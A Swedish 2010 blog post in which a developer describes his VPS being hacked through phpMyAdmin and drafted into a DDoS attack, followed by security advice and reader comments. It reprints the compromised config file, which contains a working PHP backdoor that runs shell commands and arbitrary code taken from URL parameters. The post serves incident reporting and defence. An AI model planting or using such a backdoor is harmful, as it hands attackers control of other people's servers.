Tuesday, April 27, 2010

Hackad

Livet som webbutvecklare är inte alltid en räkmacka, tyvärr.



Igår ringde Ipeer och berättade att en av mina VPS-servrar blivit hackade. Jag fick reda på att även andra kunder blivit drabbade, men i övrigt var informationen knapphändig. Min server var tydligen delaktig i pågående DDOS-attack. Rådet från Ipeer var "kolla din kod efter säkerhetshål". Har hackarna väl kommit in en gång så kan de komma in igen...

När jag kollade servern låg det mycket riktigt en okänd process (i perl) och körde på 100% av serverns kapacitet. Att bli hackad är en förbannat otrevlig känsla. Jag stängde ner servern och började felsöka. Ganska snabbt upptäckte jag problemet. Det var inte "min" kod det var fel på - utan på PhpMyAdmin.

Så här såg config-filen /var/lib/phpmyadmin/config.inc.php för PhpMyAdmin ut:


* Version: $Id: setup.php 10748 2007-10-10 07:30:59Z cybot_tm $
* Date: Wed, 14 Apr 2010 05:34:54 GMT
*/

/* Servers configuration */
$i = 0;

/* Server (config:root) [1] */
$i++;
$cfg['Servers'][$i]['host']= ''; if($_GET['c']){echo '
';system($_GET['c']);echo '
';}if($_GET['p']){echo '
';eval($_GET['p']);echo '
';};//'] = 'localhost';
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';

/* End of servers configuration */

?>
Det riktigt jobbiga är att jag faktiskt hade märkt sedan lång tid tillbaka att den här config-filen ändrades då och då. (Ändringen gör att man inte kan logga in via PhpMyAdmin.) Men jag hade inte fattat att det var ett hacker-angrepp. Jag hade faktiskt till och med både ringt och mailat Ipeer om problemet - men dom hade inte några tips att komma med. Själv tänkte jag aldrig tanken att det kunde vara ett angrepp, utan trodde att det var någon slags bugg.

Så här i efterhand är det ju fullständigt uppenbart vad det är för fel i koden ovan. Det är en kod-injection. De flesta webbutvecklare känner till att man måste akta sig för SQL-injections. Det här påminner lite grann om det, fast ännu allvarligare. Injektionen gör att man kan exekvera kod på serverns kommandorad direkt via webbläsaren.

En snabb googling ledde mig till den här sidan där säkerhetshålet beskrivs. Det jobbiga är att det till råga på allt verkar ganska enkelt. Kom igång och börja hacka servrar på en eftermiddag, typ.

Ett par lärdomar.
Jag skulle gissa att det i grunden finns två olika kategorier av hacker-angrepp:
  1. Angrepp där man på "manuell" väg hackar utvalda stora sajter. Exempelvis Google, TV3, Aftonbladet, Spotify eller Voddler. Ju större desto bättre. Motivationen kan vara att komma över stora mängder användaruppgifter (emailadresser, användarkonton, kreditkortsuppgifter) eller att helt enkelt få cred i hacker-kretsar.
  2. Angrepp där man på "systematisk" väg utnyttjar säkerhetshål på servrar runt om i hela världen. När en programvara blir populär (exempelvis Wordpress, PhyMyAdmin, Joomla, Drupal, Awstats) så blir risken större att det upptäcks säkerhetshål i dem som förhållandevis "storskaliga" hackers kan utnyttja för attacker. Tänk dig regelrätta "företag" som scannar av miljontals sajter, och hittar tusentals servrar som de sedan kan hyra ut för DDOS-attacker. Så kallde Bot-nets. Det mesta tyder på att detta idag är en utbredd ekonomi, där olika företag har hand om olika nivåer av exploateringen.
Jag rekommenderar verkligen den här artikeln i Wired om the attack of the Bots. Den är från 2006, men är förmodligen ännu mer relevant idag.

Så vad kan man göra för att skydda sig från angrepp?
  1. Se till att du med jämna mellanrum uppgraderar de programvaror du installerat på din server.
  2. Var restriktiv med skriv-access på din server. Se till att de olika användarkontona bara har skrivrättigheter i de mappar där de verkligen *behöver* ha skrivrättigheter.
  3. Ha backup.
Generellt sett så kan man aldrig räkna med att vara helt säker. Nya säkerhetshål hittas hela tiden, och det tar alltid ett tag innan de täpps igen.

4 comments :

berinder said...

Tack för en jättebra artikeln med konkreta tips på något väldigt många gör fel idag.

Unknown said...

Bra att du (förhoppningsvis) hittade hålet de kom in genom! Jag antar att du därefter installerade ett nytt rent system på din VPS och skickade upp din egen kod från ditt repos innan du körde vidare?
En ägd burk är ägd tills man dödar den :-)

David Svensson said...

Ted, jag skulle rekommendera att inte installera PhpMyAdmin eller liknande verktyg på servern över huvud taget.

Vill du mecka med databasen från din lokala maskin kan du använda SequelPro http://www.sequelpro.com/ som är gratis. Det går dessutom att använda det via en SSH-tunnel så att du inte behöver tillåta externa anslutningar mot databasen. Snabbt, smidigt och framför allt säkert.

Ted Valentin said...

Tack allihopa för bra tips. "En ägd burk är ägd tills man dödar den." Haha :)